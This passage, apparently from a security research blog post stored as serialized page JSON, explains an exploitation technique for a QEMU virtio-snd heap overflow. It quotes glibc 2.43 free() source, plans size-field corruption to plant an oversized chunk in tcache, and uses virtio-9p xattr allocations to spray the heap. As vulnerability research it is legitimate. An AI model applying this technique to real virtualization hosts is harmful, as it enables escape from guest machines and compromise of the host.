(size)))\n",{"type":22,"tag":264,"props":128400,"children":128401},{"class":1534,"line":4989},[128402,128406,128410,128415],{"type":22,"tag":264,"props":128403,"children":128404},{"style":4401},[128405],{"type":27,"value":128321},{"type":22,"tag":264,"props":128407,"children":128408},{"style":1539},[128409],{"type":27,"value":4370},{"type":22,"tag":264,"props":128411,"children":128412},{"style":1597},[128413],{"type":27,"value":128414},"\"free(): invalid size\"",{"type":22,"tag":264,"props":128416,"children":128417},{"style":1539},[128418],{"type":27,"value":5142},{"type":22,"tag":264,"props":128420,"children":128421},{"class":1534,"line":4998},[128422],{"type":22,"tag":264,"props":128423,"children":128424},{"emptyLinePlaceholder":17},[128425],{"type":27,"value":4986},{"type":22,"tag":264,"props":128427,"children":128428},{"class":1534,"line":5067},[128429,128434],{"type":22,"tag":264,"props":128430,"children":128431},{"style":4401},[128432],{"type":27,"value":128433},"  check_inuse_chunk",{"type":22,"tag":264,"props":128435,"children":128436},{"style":1539},[128437],{"type":27,"value":128438},"(av, p);\n",{"type":22,"tag":264,"props":128440,"children":128441},{"class":1534,"line":5075},[128442],{"type":22,"tag":264,"props":128443,"children":128444},{"emptyLinePlaceholder":17},[128445],{"type":27,"value":4986},{"type":22,"tag":264,"props":128447,"children":128448},{"class":1534,"line":5105},[128449],{"type":22,"tag":264,"props":128450,"children":128451},{"style":1539},[128452],{"type":27,"value":128453},"  [...]\n",{"type":22,"tag":23,"props":128455,"children":128456},{},[128457],{"type":27,"value":128458},"The first check verifies that the chunk pointer itself is not misaligned. Since we do not control the pointer, this is not particularly relevant here.",{"type":22,"tag":23,"props":128460,"children":128461},{},[128462,128464,128469,128471,128476,128478,128483,128485,128490],{"type":27,"value":128463},"The next check, however, ensures that the ",{"type":22,"tag":257,"props":128465,"children":128467},{"className":128466},[],[128468],{"type":27,"value":125560},{"type":27,"value":128470}," field is 16-byte aligned. This means that the low byte we overwrite in ",{"type":22,"tag":257,"props":128472,"children":128474},{"className":128473},[],[128475],{"type":27,"value":125560},{"type":27,"value":128477}," must preserve alignment while also avoiding the ",{"type":22,"tag":257,"props":128479,"children":128481},{"className":128480},[],[128482],{"type":27,"value":127729},{"type":27,"value":128484}," bit. Under those constraints, exploiting the bug through ",{"type":22,"tag":257,"props":128486,"children":128488},{"className":128487},[],[128489],{"type":27,"value":125560},{"type":27,"value":128491}," corruption looked very unreliable at first.",{"type":22,"tag":23,"props":128493,"children":128494},{},[128495],{"type":27,"value":128496},"Still, we wanted to check how this behaved in the latest glibc 2.43:",{"type":22,"tag":618,"props":128498,"children":128500},{"code":128499,"language":4449,"meta":7,"className":17815,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes))\n    {\n      [...]\n\n      return tcache_put (p, tc_idx);\n    }\n",[128501],{"type":22,"tag":257,"props":128502,"children":128503},{"__ignoreMap":7},[128504,128512,128539,128546,128553,128560,128579,128586,128606,128613,128641,128665,128672,128685,128727,128734,128742,128749,128766],{"type":22,"tag":264,"props":128505,"children":128506},{"class":1534,"line":1535},[128507],{"type":22,"tag":264,"props":128508,"children":128509},{"style":4293},[128510],{"type":27,"value":128511},"void\n",{"type":22,"tag":264,"props":128513,"children":128514},{"class":1534,"line":1545},[128515,128519,128523,128527,128531,128535],{"type":22,"tag":264,"props":128516,"children":128517},{"style":4401},[128518],{"type":27,"value":127777},{"type":22,"tag":264,"props":128520,"children":128521},{"style":1539},[128522],{"type":27,"value":4370},{"type":22,"tag":264,"props":128524,"children":128525},{"style":4293},[128526],{"type":27,"value":52948},{"type":22,"tag":264,"props":128528,"children":128529},{"style":4309},[128530],{"type":27,"value":11115},{"type":22,"tag":264,"props":128532,"children":128533},{"style":1549},[128534],{"type":27,"value":41979},{"type":22,"tag":264,"props":128536,"children":128537},{"style":1539},[128538],{"type":27,"value":4463},{"type":22,"tag":264,"props":128540,"children":128541},{"class":1534,"line":1560},[128542],{"type":22,"tag":264,"props":128543,"children":128544},{"style":1539},[128545],{"type":27,"value":1542},{"type":22,"tag":264,"props":128547,"children":128548},{"class":1534,"line":1569},[128549],{"type":22,"tag":264,"props":128550,"children":128551},{"style":1539},[128552],{"type":27,"value":127820},{"type":22,"tag":264,"props":128554,"children":128555},{"class":1534,"line":1583},[128556],{"type":22,"tag":264,"props":128557,"children":128558},{"emptyLinePlaceholder":17},[128559],{"type":27,"value":4986},{"type":22,"tag":264,"props":128561,"children":128562},{"class":1534,"line":1603},[128563,128567,128571,128575],{"type":22,"tag":264,"props":128564,"children":128565},{"style":1539},[128566],{"type":27,"value":127835},{"type":22,"tag":264,"props":128568,"children":128569},{"style":4309},[128570],{"type":27,"value":429},{"type":22,"tag":264,"props":128572,"children":128573},{"style":4401},[128574],{"type":27,"value":127844},{"type":22,"tag":264,"props":128576,"children":128577},{"style":1539},[128578],{"type":27,"value":127849},{"type":22,"tag":264,"props":128580,"children":128581},{"class":1534,"line":1612},[128582],{"type":22,"tag":264,"props":128583,"children":128584},{"emptyLinePlaceholder":17},[128585],{"type":27,"value":4986},{"type":22,"tag":264,"props":128587,"children":128588},{"class":1534,"line":1621},[128589,128594,128598,128602],{"type":22,"tag":264,"props":128590,"children":128591},{"style":1539},[128592],{"type":27,"value":128593},"  INTERNAL_SIZE_T size ",{"type":22,"tag":264,"props":128595,"children":128596},{"style":4309},[128597],{"type":27,"value":429},{"type":22,"tag":264,"props":128599,"children":128600},{"style":4401},[128601],{"type":27,"value":128171},{"type":22,"tag":264,"props":128603,"children":128604},{"style":1539},[128605],{"type":27,"value":127890},{"type":22,"tag":264,"props":128607,"children":128608},{"class":1534,"line":1629},[128609],{"type":22,"tag":264,"props":128610,"children":128611},{"emptyLinePlaceholder":17},[128612],{"type":27,"value":4986},{"type":22,"tag":264,"props":128614,"children":128615},{"class":1534,"line":1642},[128616,128620,128624,128628,128632,128636],{"type":22,"tag":264,"props":128617,"children":128618},{"style":4328},[128619],{"type":27,"value":32709},{"type":22,"tag":264,"props":128621,"children":128622},{"style":1539},[128623],{"type":27,"value":4370},{"type":22,"tag":264,"props":128625,"children":128626},{"style":4401},[128627],{"type":27,"value":128366},{"type":22,"tag":264,"props":128629,"children":128630},{"style":1539},[128631],{"type":27,"value":4370},{"type":22,"tag":264,"props":128633,"children":128634},{"style":4401},[128635],{"type":27,"value":128300},{"type":22,"tag":264,"props":128637,"children":128638},{"style":1539},[128639],{"type":27,"value":128640}," (p)))\n",{"type":22,"tag":264,"props":128642,"children":128643},{"class":1534,"line":1660},[128644,128648,128653,128657,128661],{"type":22,"tag":264,"props":128645,"children":128646},{"style":4328},[128647],{"type":27,"value":18291},{"type":22,"tag":264,"props":128649,"children":128650},{"style":4401},[128651],{"type":27,"value":128652}," malloc_printerr_tail",{"type":22,"tag":264,"props":128654,"children":128655},{"style":1539},[128656],{"type":27,"value":4370},{"type":22,"tag":264,"props":128658,"children":128659},{"style":1597},[128660],{"type":27,"value":128330},{"type":22,"tag":264,"props":128662,"children":128663},{"style":1539},[128664],{"type":27,"value":5142},{"type":22,"tag":264,"props":128666,"children":128667},{"class":1534,"line":1668},[128668],{"type":22,"tag":264,"props":128669,"children":128670},{"emptyLinePlaceholder":17},[128671],{"type":27,"value":4986},{"type":22,"tag":264,"props":128673,"children":128674},{"class":1534,"line":1677},[128675,128680],{"type":22,"tag":264,"props":128676,"children":128677},{"style":4328},[128678],{"type":27,"value":128679},"#if",{"type":22,"tag":264,"props":128681,"children":128682},{"style":4401},[128683],{"type":27,"value":128684}," USE_TCACHE\n",{"type":22,"tag":264,"props":128686,"children":128687},{"class":1534,"line":1686},[128688,128692,128696,128701,128705,128709,128714,128718,128723],{"type":22,"tag":264,"props":128689,"children":128690},{"style":4328},[128691],{"type":27,"value":32709},{"type":22,"tag":264,"props":128693,"children":128694},{"style":1539},[128695],{"type":27,"value":4370},{"type":22,"tag":264,"props":128697,"children":128698},{"style":4401},[128699],{"type":27,"value":128700},"__glibc_likely",{"type":22,"tag":264,"props":128702,"children":128703},{"style":1539},[128704],{"type":27,"value":128371},{"type":22,"tag":264,"props":128706,"children":128707},{"style":4309},[128708],{"type":27,"value":7097},{"type":22,"tag":264,"props":128710,"children":128711},{"style":1549},[128712],{"type":27,"value":128713}," mp_",{"type":22,"tag":264,"props":128715,"children":128716},{"style":1539},[128717],{"type":27,"value":210},{"type":22,"tag":264,"props":128719,"children":128720},{"style":1549},[128721],{"type":27,"value":128722},"tcache_max_bytes",{"type":22,"tag":264,"props":128724,"children":128725},{"style":1539},[128726],{"type":27,"value":21018},{"type":22,"tag":264,"props":128728,"children":128729},{"class":1534,"line":4948},[128730],{"type":22,"tag":264,"props":128731,"children":128732},{"style":1539},[128733],{"type":27,"value":1566},{"type":22,"tag":264,"props":128735,"children":128736},{"class":1534,"line":4957},[128737],{"type":22,"tag":264,"props":128738,"children":128739},{"style":1539},[128740],{"type":27,"value":128741},"      [...]\n",{"type":22,"tag":264,"props":128743,"children":128744},{"class":1534,"line":4980},[128745],{"type":22,"tag":264,"props":128746,"children":128747},{"emptyLinePlaceholder":17},[128748],{"type":27,"value":4986},{"type":22,"tag":264,"props":128750,"children":128751},{"class":1534,"line":4989},[128752,128756,128761],{"type":22,"tag":264,"props":128753,"children":128754},{"style":4328},[128755],{"type":27,"value":40671},{"type":22,"tag":264,"props":128757,"children":128758},{"style":4401},[128759],{"type":27,"value":128760}," tcache_put",{"type":22,"tag":264,"props":128762,"children":128763},{"style":1539},[128764],{"type":27,"value":128765}," (p, tc_idx);\n",{"type":22,"tag":264,"props":128767,"children":128768},{"class":1534,"line":4998},[128769],{"type":22,"tag":264,"props":128770,"children":128771},{"style":1539},[128772],{"type":27,"value":1674},{"type":22,"tag":23,"props":128774,"children":128775},{},[128776,128778,128783],{"type":27,"value":128777},"It is easy to notice that, when taking the tcache path, there are essentially no integrity checks on the ",{"type":22,"tag":257,"props":128779,"children":128781},{"className":128780},[],[128782],{"type":27,"value":125560},{"type":27,"value":128784}," field beyond the basic size-range decision needed to determine whether the chunk fits into tcache. The only explicit check here is that the pointer itself is aligned, which is not something we care about.",{"type":22,"tag":23,"props":128786,"children":128787},{},[128788,128790,128796,128797,128802],{"type":27,"value":128789},"In fact, even the version prior to 2.43 still performed more validation on the tcache path by calling ",{"type":22,"tag":257,"props":128791,"children":128793},{"className":128792},[],[128794],{"type":27,"value":128795},"check_inuse_chunk",{"type":27,"value":4370},{"type":22,"tag":257,"props":128798,"children":128800},{"className":128799},[],[128801],{"type":27,"value":125688},{"type":27,"value":25258},{"type":22,"tag":618,"props":128804,"children":128806},{"code":128805,"language":4449,"meta":7,"className":17815,"style":7},"void\n__libc_free (void *mem)\n{\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n\n  INTERNAL_SIZE_T size = chunksize (p);\n\n  if (__glibc_unlikely (misaligned_chunk (p)))\n    return malloc_printerr_tail (\"free(): invalid pointer\");\n\n  check_inuse_chunk (arena_for_chunk (p), p);             // [1]\n\n#if USE_TCACHE\n  if (__glibc_likely (size \u003C mp_.tcache_max_bytes && tcache != NULL))\n  [...]\n",[128807],{"type":22,"tag":257,"props":128808,"children":128809},{"__ignoreMap":7},[128810,128817,128844,128851,128858,128865,128884,128891,128910,128917,128944,128967,128974,129000,129007,129018,129075],{"type":22,"tag":264,"props":128811,"children":128812},{"class":1534,"line":1535},[128813],{"type":22,"tag":264,"props":128814,"children":128815},{"style":4293},[128816],{"type":27,"value":128511},{"type":22,"tag":264,"props":128818,"children":128819},{"class":1534,"line":1545},[128820,128824,128828,128832,128836,128840],{"type":22,"tag":264,"props":128821,"children":128822},{"style":4401},[128823],{"type":27,"value":127777},{"type":22,"tag":264,"props":128825,"children":128826},{"style":1539},[128827],{"type":27,"value":4370},{"type":22,"tag":264,"props":128829,"children":128830},{"style":4293},[128831],{"type":27,"value":52948},{"type":22,"tag":264,"props":128833,"children":128834},{"style":4309},[128835],{"type":27,"value":11115},{"type":22,"tag":264,"props":128837,"children":128838},{"style":1549},[128839],{"type":27,"value":41979},{"type":22,"tag":264,"props":128841,"children":128842},{"style":1539},[128843],{"type":27,"value":4463},{"type":22,"tag":264,"props":128845,"children":128846},{"class":1534,"line":1560},[128847],{"type":22,"tag":264,"props":128848,"children":128849},{"style":1539},[128850],{"type":27,"value":1542},{"type":22,"tag":264,"props":128852,"children":128853},{"class":1534,"line":1569},[128854],{"type":22,"tag":264,"props":128855,"children":128856},{"style":1539},[128857],{"type":27,"value":127820},{"type":22,"tag":264,"props":128859,"children":128860},{"class":1534,"line":1583},[128861],{"type":22,"tag":264,"props":128862,"children":128863},{"emptyLinePlaceholder":17},[128864],{"type":27,"value":4986},{"type":22,"tag":264,"props":128866,"children":128867},{"class":1534,"line":1603},[128868,128872,128876,128880],{"type":22,"tag":264,"props":128869,"children":128870},{"style":1539},[128871],{"type":27,"value":127835},{"type":22,"tag":264,"props":128873,"children":128874},{"style":4309},[128875],{"type":27,"value":429},{"type":22,"tag":264,"props":128877,"children":128878},{"style":4401},[128879],{"type":27,"value":127844},{"type":22,"tag":264,"props":128881,"children":128882},{"style":1539},[128883],{"type":27,"value":127849},{"type":22,"tag":264,"props":128885,"children":128886},{"class":1534,"line":1612},[128887],{"type":22,"tag":264,"props":128888,"children":128889},{"emptyLinePlaceholder":17},[128890],{"type":27,"value":4986},{"type":22,"tag":264,"props":128892,"children":128893},{"class":1534,"line":1621},[128894,128898,128902,128906],{"type":22,"tag":264,"props":128895,"children":128896},{"style":1539},[128897],{"type":27,"value":128593},{"type":22,"tag":264,"props":128899,"children":128900},{"style":4309},[128901],{"type":27,"value":429},{"type":22,"tag":264,"props":128903,"children":128904},{"style":4401},[128905],{"type":27,"value":128171},{"type":22,"tag":264,"props":128907,"children":128908},{"style":1539},[128909],{"type":27,"value":127890},{"type":22,"tag":264,"props":128911,"children":128912},{"class":1534,"line":1629},[128913],{"type":22,"tag":264,"props":128914,"children":128915},{"emptyLinePlaceholder":17},[128916],{"type":27,"value":4986},{"type":22,"tag":264,"props":128918,"children":128919},{"class":1534,"line":1642},[128920,128924,128928,128932,128936,128940],{"type":22,"tag":264,"props":128921,"children":128922},{"style":4328},[128923],{"type":27,"value":32709},{"type":22,"tag":264,"props":128925,"children":128926},{"style":1539},[128927],{"type":27,"value":4370},{"type":22,"tag":264,"props":128929,"children":128930},{"style":4401},[128931],{"type":27,"value":128366},{"type":22,"tag":264,"props":128933,"children":128934},{"style":1539},[128935],{"type":27,"value":4370},{"type":22,"tag":264,"props":128937,"children":128938},{"style":4401},[128939],{"type":27,"value":128300},{"type":22,"tag":264,"props":128941,"children":128942},{"style":1539},[128943],{"type":27,"value":128640},{"type":22,"tag":264,"props":128945,"children":128946},{"class":1534,"line":1660},[128947,128951,128955,128959,128963],{"type":22,"tag":264,"props":128948,"children":128949},{"style":4328},[128950],{"type":27,"value":18291},{"type":22,"tag":264,"props":128952,"children":128953},{"style":4401},[128954],{"type":27,"value":128652},{"type":22,"tag":264,"props":128956,"children":128957},{"style":1539},[128958],{"type":27,"value":4370},{"type":22,"tag":264,"props":128960,"children":128961},{"style":1597},[128962],{"type":27,"value":128330},{"type":22,"tag":264,"props":128964,"children":128965},{"style":1539},[128966],{"type":27,"value":5142},{"type":22,"tag":264,"props":128968,"children":128969},{"class":1534,"line":1668},[128970],{"type":22,"tag":264,"props":128971,"children":128972},{"emptyLinePlaceholder":17},[128973],{"type":27,"value":4986},{"type":22,"tag":264,"props":128975,"children":128976},{"class":1534,"line":1677},[128977,128981,128985,128990,128995],{"type":22,"tag":264,"props":128978,"children":128979},{"style":4401},[128980],{"type":27,"value":128433},{"type":22,"tag":264,"props":128982,"children":128983},{"style":1539},[128984],{"type":27,"value":4370},{"type":22,"tag":264,"props":128986,"children":128987},{"style":4401},[128988],{"type":27,"value":128989},"arena_for_chunk",{"type":22,"tag":264,"props":128991,"children":128992},{"style":1539},[128993],{"type":27,"value":128994}," (p), p);",{"type":22,"tag":264,"props":128996,"children":128997},{"style":4284},[128998],{"type":27,"value":128999},"             // [1]\n",{"type":22,"tag":264,"props":129001,"children":129002},{"class":1534,"line":1686},[129003],{"type":22,"tag":264,"props":129004,"children":129005},{"emptyLinePlaceholder":17},[129006],{"type":27,"value":4986},{"type":22,"tag":264,"props":129008,"children":129009},{"class":1534,"line":4948},[129010,129014],{"type":22,"tag":264,"props":129011,"children":129012},{"style":4328},[129013],{"type":27,"value":128679},{"type":22,"tag":264,"props":129015,"children":129016},{"style":4401},[129017],{"type":27,"value":128684},{"type":22,"tag":264,"props":129019,"children":129020},{"class":1534,"line":4957},[129021,129025,129029,129033,129037,129041,129045,129049,129053,129057,129062,129066,129071],{"type":22,"tag":264,"props":129022,"children":129023},{"style":4328},[129024],{"type":27,"value":32709},{"type":22,"tag":264,"props":129026,"children":129027},{"style":1539},[129028],{"type":27,"value":4370},{"type":22,"tag":264,"props":129030,"children":129031},{"style":4401},[129032],{"type":27,"value":128700},{"type":22,"tag":264,"props":129034,"children":129035},{"style":1539},[129036],{"type":27,"value":128371},{"type":22,"tag":264,"props":129038,"children":129039},{"style":4309},[129040],{"type":27,"value":7097},{"type":22,"tag":264,"props":129042,"children":129043},{"style":1549},[129044],{"type":27,"value":128713},{"type":22,"tag":264,"props":129046,"children":129047},{"style":1539},[129048],{"type":27,"value":210},{"type":22,"tag":264,"props":129050,"children":129051},{"style":1549},[129052],{"type":27,"value":128722},{"type":22,"tag":264,"props":129054,"children":129055},{"style":4309},[129056],{"type":27,"value":15484},{"type":22,"tag":264,"props":129058,"children":129059},{"style":1539},[129060],{"type":27,"value":129061}," tcache ",{"type":22,"tag":264,"props":129063,"children":129064},{"style":4309},[129065],{"type":27,"value":16988},{"type":22,"tag":264,"props":129067,"children":129068},{"style":4293},[129069],{"type":27,"value":129070}," NULL",{"type":22,"tag":264,"props":129072,"children":129073},{"style":1539},[129074],{"type":27,"value":21018},{"type":22,"tag":264,"props":129076,"children":129077},{"class":1534,"line":4980},[129078],{"type":22,"tag":264,"props":129079,"children":129080},{"style":1539},[129081],{"type":27,"value":128453},{"type":22,"tag":23,"props":129083,"children":129084},{},[129085,129087,129092],{"type":27,"value":129086},"This means that as long as we can reliably force the corrupted chunk down the tcache path, we no longer need to worry much about integrity checks on ",{"type":22,"tag":257,"props":129088,"children":129090},{"className":129089},[],[129091],{"type":27,"value":125560},{"type":27,"value":129093},", because on the latest 2.43 glibc they are non-existent.",{"type":22,"tag":20097,"props":129095,"children":129096},{},[],{"type":22,"tag":23,"props":129098,"children":129099},{},[129100,129102,129107,129109,129115,129117,129122,129124,129130],{"type":27,"value":129101},"With that in mind, the idea we settled on was to allocate a chunk whose ",{"type":22,"tag":257,"props":129103,"children":129105},{"className":129104},[],[129106],{"type":27,"value":125560},{"type":27,"value":129108}," field was initially ",{"type":22,"tag":257,"props":129110,"children":129112},{"className":129111},[],[129113],{"type":27,"value":129114},"0x200",{"type":27,"value":129116},", then trigger the overflow and corrupt only its low byte. If the byte written is at least ",{"type":22,"tag":257,"props":129118,"children":129120},{"className":129119},[],[129121],{"type":27,"value":127737},{"type":27,"value":129123},", the resulting value would correspond to a larger, tcache-eligible, size in range ",{"type":22,"tag":257,"props":129125,"children":129127},{"className":129126},[],[129128],{"type":27,"value":129129},"[0x210, 0x2f0]",{"type":27,"value":129131},". That would let us free the chunk as an oversized entry into the tcache freelist, which we could later reclaim and overlap chunks for a better primitive.",{"type":22,"tag":23,"props":129133,"children":129134},{},[129135],{"type":27,"value":129136},"This approach gives us much better odds of success. In fact, with the stream configuration we use later, we can make this behavior reliable enough to exploit consistently.",{"type":22,"tag":181,"props":129138,"children":129140},{"id":129139},"heap-spraying",[129141],{"type":27,"value":129142},"Heap Spraying",{"type":22,"tag":23,"props":129144,"children":129145},{},[129146,129148,129153],{"type":27,"value":129147},"With that idea in mind, we now need a way to shape the heap so that a ",{"type":22,"tag":257,"props":129149,"children":129151},{"className":129150},[],[129152],{"type":27,"value":129114},{"type":27,"value":129154},"-sized chunk is placed immediately after the vulnerable virtio-snd buffer. In addition, we need to drain any existing entries from the relevant tcache freelist so that it is not full when we later free the corrupted oversized chunk.",{"type":22,"tag":23,"props":129156,"children":129157},{},[129158,129160,129165],{"type":27,"value":129159},"Unfortunately, while virtio-snd does provide some heap spraying primitives through its buffer allocations, they are fairly limited. For example, we could only allocate up to 64 buffers at a time. On top of that, ",{"type":22,"tag":257,"props":129161,"children":129163},{"className":129162},[],[129164],{"type":27,"value":125755},{"type":27,"value":129166}," is a FIFO queue, so we could not control the order in which those buffers were freed - they would always be released in the same order they were inserted.",{"type":22,"tag":23,"props":129168,"children":129169},{},[129170],{"type":27,"value":129171},"For the purposes of this blog post, we therefore enabled another virtio device to help with heap shaping.",{"type":22,"tag":20197,"props":129173,"children":129175},{"id":129174},"virtio-9p",[129176],{"type":27,"value":129174},{"type":22,"tag":23,"props":129178,"children":129179},{},[129180,129185],{"type":22,"tag":257,"props":129181,"children":129183},{"className":129182},[],[129184],{"type":27,"value":129174},{"type":27,"value":129186}," is a paravirtualized filesystem device that lets the guest access a directory exported by the host through the 9P protocol. The part that interested us most was its handling of extended attributes, or xattrs.",{"type":22,"tag":23,"props":129188,"children":129189},{},[129190,129192,129198,129200,129206,129207,129213,129215,129220],{"type":27,"value":129191},"Through a ",{"type":22,"tag":257,"props":129193,"children":129195},{"className":129194},[],[129196],{"type":27,"value":129197},"P9_TXATTRCREATE",{"type":27,"value":129199}," request, we can allocate host-side buffers for both the ",{"type":22,"tag":257,"props":129201,"children":129203},{"className":129202},[],[129204],{"type":27,"value":129205},".name",{"type":27,"value":12290},{"type":22,"tag":257,"props":129208,"children":129210},{"className":129209},[],[129211],{"type":27,"value":129212},".value",{"type":27,"value":129214}," fields, with the size of ",{"type":22,"tag":257,"props":129216,"children":129218},{"className":129217},[],[129219],{"type":27,"value":129212},{"type":27,"value":129221}," being directly controlled by the guest.",{"type":22,"tag":618,"props":129223,"children":129225},{"code":129224,"language":4449,"meta":7,"className":17815,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    int flags, rflags = 0;\n    int32_t fid;\n    uint64_t size;\n    ssize_t err = 0;\n    V9fsString name;\n    size_t offset = 7;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n    V9fsPDU *pdu = opaque;\n\n    v9fs_string_init(&name);\n    err = pdu_unmarshal(pdu, offset, \"dsqd\", &fid, &name, &size, &flags);\n    if (err \u003C 0) {\n        goto out_nofid;\n    }\n\n    [...]\n\n    if (size > P9_XATTR_SIZE_MAX) {\n        err = -E2BIG;\n        goto out_nofid;\n    }\n\n    [...]\n\n    v9fs_string_init(&xattr_fidp->fs.xattr.name);\n    v9fs_string_copy(&xattr_fidp->fs.xattr.name, &name);\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n}\n",[129226],{"type":22,"tag":257,"props":129227,"children":129228},{"__ignoreMap":7},[129229,129271,129278,129302,129315,129326,129351,129359,129384,129401,129417,129443,129450,129471,129537,129561,129574,129581,129588,129595,129602,129622,129643,129654,129661,129668,129675,129682,129731,129787,129832],{"type":22,"tag":264,"props":129230,"children":129231},{"class":1534,"line":1535},[129232,129236,129240,129245,129250,129254,129258,129262,129267],{"type":22,"tag":264,"props":129233,"children":129234},{"style":4293},[129235],{"type":27,"value":52365},{"type":22,"tag":264,"props":129237,"children":129238},{"style":4293},[129239],{"type":27,"value":52370},{"type":22,"tag":264,"props":129241,"children":129242},{"style":1539},[129243],{"type":27,"value":129244}," coroutine_fn ",{"type":22,"tag":264,"props":129246,"children":129247},{"style":4401},[129248],{"type":27,"value":129249},"v9fs_xattrcreate",{"type":22,"tag":264,"props":129251,"children":129252},{"style":1539},[129253],{"type":27,"value":2660},{"type":22,"tag":264,"props":129255,"children":129256},{"style":4293},[129257],{"type":27,"value":52948},{"type":22,"tag":264,"props":129259,"children":129260},{"style":4309},[129261],{"type":27,"value":11115},{"type":22,"tag":264,"props":129263,"children":129264},{"style":1549},[129265],{"type":27,"value":129266},"opaque",{"type":22,"tag":264,"props":129268,"children":129269},{"style":1539},[129270],{"type":27,"value":4463},{"type":22,"tag":264,"props":129272,"children":129273},{"class":1534,"line":1545},[129274],{"type":22,"tag":264,"props":129275,"children":129276},{"style":1539},[129277],{"type":27,"value":1542},{"type":22,"tag":264,"props":129279,"children":129280},{"class":1534,"line":1560},[129281,129285,129290,129294,129298],{"type":22,"tag":264,"props":129282,"children":129283},{"style":4293},[129284],{"type":27,"value":20382},{"type":22,"tag":264,"props":129286,"children":129287},{"style":1539},[129288],{"type":27,"value":129289}," flags, rflags ",{"type":22,"tag":264,"props":129291,"children":129292},{"style":4309},[129293],{"type":27,"value":429},{"type":22,"tag":264,"props":129295,"children":129296},{"style":4344},[129297],{"type":27,"value":4347},{"type":22,"tag":264,"props":129299,"children":129300},{"style":1539},[129301],{"type":27,"value":4322},{"type":22,"tag":264,"props":129303,"children":129304},{"class":1534,"line":1569},[129305,129310],{"type":22,"tag":264,"props":129306,"children":129307},{"style":4293},[129308],{"type":27,"value":129309},"    int32_t",{"type":22,"tag":264,"props":129311,"children":129312},{"style":1539},[129313],{"type":27,"value":129314}," fid;\n",{"type":22,"tag":264,"props":129316,"children":129317},{"class":1534,"line":1583},[129318,129322],{"type":22,"tag":264,"props":129319,"children":129320},{"style":4293},[129321],{"type":27,"value":56934},{"type":22,"tag":264,"props":129323,"children":129324},{"style":1539},[129325],{"type":27,"value":125902},{"type":22,"tag":264,"props":129327,"children":129328},{"class":1534,"line":1603},[129329,129334,129339,129343,129347],{"type":22,"tag":264,"props":129330,"children":129331},{"style":4293},[129332],{"type":27,"value":129333},"    ssize_t",{"type":22,"tag":264,"props":129335,"children":129336},{"style":1539},[129337],{"type":27,"value":129338}," err ",{"type":22,"tag":264,"props":129340,"children":129341},{"style":4309},[129342],{"type":27,"value":429},{"type":22,"tag":264,"props":129344,"children":129345},{"style":4344},[129346],{"type":27,"value":4347},{"type":22,"tag":264,"props":129348,"children":129349},{"style":1539},[129350],{"type":27,"value":4322},{"type":22,"tag":264,"props":129352,"children":129353},{"class":1534,"line":1612},[129354],{"type":22,"tag":264,"props":129355,"children":129356},{"style":1539},[129357],{"type":27,"value":129358},"    V9fsString name;\n",{"type":22,"tag":264,"props":129360,"children":129361},{"class":1534,"line":1621},[129362,129366,129371,129375,129380],{"type":22,"tag":264,"props":129363,"children":129364},{"style":4293},[129365],{"type":27,"value":17865},{"type":22,"tag":264,"props":129367,"children":129368},{"style":1539},[129369],{"type":27,"value":129370}," offset ",{"type":22,"tag":264,"props":129372,"children":129373},{"style":4309},[129374],{"type":27,"value":429},{"type":22,"tag":264,"props":129376,"children":129377},{"style":4344},[129378],{"type":27,"value":129379}," 7",{"type":22,"tag":264,"props":129381,"children":129382},{"style":1539},[129383],{"type":27,"value":4322},{"type":22,"tag":264,"props":129385,"children":129386},{"class":1534,"line":1629},[129387,129392,129396],{"type":22,"tag":264,"props":129388,"children":129389},{"style":1539},[129390],{"type":27,"value":129391},"    V9fsFidState ",{"type":22,"tag":264,"props":129393,"children":129394},{"style":4309},[129395],{"type":27,"value":5865},{"type":22,"tag":264,"props":129397,"children":129398},{"style":1539},[129399],{"type":27,"value":129400},"file_fidp;\n",{"type":22,"tag":264,"props":129402,"children":129403},{"class":1534,"line":1642},[129404,129408,129412],{"type":22,"tag":264,"props":129405,"children":129406},{"style":1539},[129407],{"type":27,"value":129391},{"type":22,"tag":264,"props":129409,"children":129410},{"style":4309},[129411],{"type":27,"value":5865},{"type":22,"tag":264,"props":129413,"children":129414},{"style":1539},[129415],{"type":27,"value":129416},"xattr_fidp;\n",{"type":22,"tag":264,"props":129418,"children":129419},{"class":1534,"line":1660},[129420,129425,129429,129434,129438],{"type":22,"tag":264,"props":129421,"children":129422},{"style":1539},[129423],{"type":27,"value":129424},"    V9fsPDU ",{"type":22,"tag":264,"props":129426,"children":129427},{"style":4309},[129428],{"type":27,"value":5865},{"type":22,"tag":264,"props":129430,"children":129431},{"style":1539},[129432],{"type":27,"value":129433},"pdu ",{"type":22,"tag":264,"props":129435,"children":129436},{"style":4309},[129437],{"type":27,"value":429},{"type":22,"tag":264,"props":129439,"children":129440},{"style":1539},[129441],{"type":27,"value":129442}," opaque;\n",{"type":22,"tag":264,"props":129444,"children":129445},{"class":1534,"line":1668},[129446],{"type":22,"tag":264,"props":129447,"children":129448},{"emptyLinePlaceholder":17},[129449],{"type":27,"value":4986},{"type":22,"tag":264,"props":129451,"children":129452},{"class":1534,"line":1677},[129453,129458,129462,129466],{"type":22,"tag":264,"props":129454,"children":129455},{"style":4401},[129456],{"type":27,"value":129457},"    v9fs_string_init",{"type":22,"tag":264,"props":129459,"children":129460},{"style":1539},[129461],{"type":27,"value":2660},{"type":22,"tag":264,"props":129463,"children":129464},{"style":4309},[129465],{"type":27,"value":4413},{"type":22,"tag":264,"props":129467,"children":129468},{"style":1539},[129469],{"type":27,"value":129470},"name);\n",{"type":22,"tag":264,"props":129472,"children":129473},{"class":1534,"line":1686},[129474,129479,129483,129488,129493,129498,129502,129506,129511,129515,129520,129524,129528,129532],{"type":22,"tag":264,"props":129475,"children":129476},{"style":1539},[129477],{"type":27,"value":129478},"    err ",{"type":22,"tag":264,"props":129480,"children":129481},{"style":4309},[129482],{"type":27,"value":429},{"type":22,"tag":264,"props":129484,"children":129485},{"style":4401},[129486],{"type":27,"value":129487}," 